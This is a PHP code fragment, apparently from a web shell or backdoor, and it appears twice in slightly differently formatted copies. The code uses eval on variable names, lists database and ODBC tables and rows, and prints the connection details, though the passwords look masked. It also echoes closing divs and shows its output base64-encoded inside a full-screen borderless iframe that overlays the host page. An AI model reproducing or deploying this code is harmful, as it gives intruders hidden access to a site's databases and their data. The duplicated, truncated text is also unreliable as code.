eval("\$Gdbname = \"\${$dbn}\";"); $strOutput .= "<tr><td>"; if (isset($dbt)) { $Gdbtabl = $dbt; $strOutput .= "host=" . $Gdbhost . " user="******" pass="******" name=" . $Gdbname . " table=" . $Gdbtabl . "</td></tr><tr><td>" . display_rows($Gdbhost, $Gdbuser, $Gdbpass, $Gdbname, $Gdbtabl); } else { $strOutput .= "host=" . $Gdbhost . " user="******" pass="******"</td></tr><tr><td> " . Odisplay_tables($Gdbhost, $Gdbuser, $Gdbpass); } $strOutput .= "</pre></td></tr></table><br/>"; } if (isset($OdbH)) { $strOutput .= "<table border=1><tr><td><b>odbc access</b></td></tr><tr><td>"; if (isset($dbt)) { $strOutput .= "host=" . $dbH . " user="******" pass="******" name=" . $dbn . " table=" . $dbt . "</td></tr><tr><td> " . Odisplay_rows($OdbH, $dbu, $dbp, $dbn, $dbt); } else { $strOutput .= "host=" . $dbH . " user="******" pass="******"</td></tr><tr><td> " . Odisplay_tables($OdbH, $dbu, $dbp); } $strOutput .= "</pre></td></tr></table><br/>"; } $strOutput .= "</font></td></tr></table>"; $strOutputB64 = chunk_split(base64_encode($strOutput)); echo "</div></div></div></div></div></div></div></div></div></div>\n"; echo '<iframe width="100%" height="100%" style="border:0; position: absolute; left: 0px; top: 0px;" src="data:text/html;base64,' . $strOutputB64 . '">'; ###################################################################### # # functions # ###################################################################### # make globals avail function import_globals() {
"</td></tr><tr><td> " . Odisplay_tables($Gdbhost, $Gdbuser, $Gdbpass); } $strOutput .= "</pre></td></tr></table><br/>"; } if(isset($OdbH)) { $strOutput .= "<table border=1><tr><td><b>odbc access</b></td></tr><tr><td>"; if(isset($dbt)) { $strOutput .= "host=".$dbH." user="******" pass="******" name=".$dbn." table=".$dbt . "</td></tr><tr><td> " . Odisplay_rows($OdbH, $dbu, $dbp, $dbn, $dbt); } else { $strOutput .= "host=".$dbH." user="******" pass="******"</td></tr><tr><td> " . Odisplay_tables($OdbH, $dbu, $dbp); } $strOutput .= "</pre></td></tr></table><br/>"; } $strOutput .= "</font></td></tr></table>"; $strOutputB64 = chunk_split(base64_encode($strOutput)); echo "</div></div></div></div></div></div></div></div></div></div>\n"; echo '<iframe width="100%" height="100%" style="border:0; position: absolute; left: 0px; top: 0px;" src="data:text/html;base64,' . $strOutputB64 .'">'; ###################################################################### # # functions # ######################################################################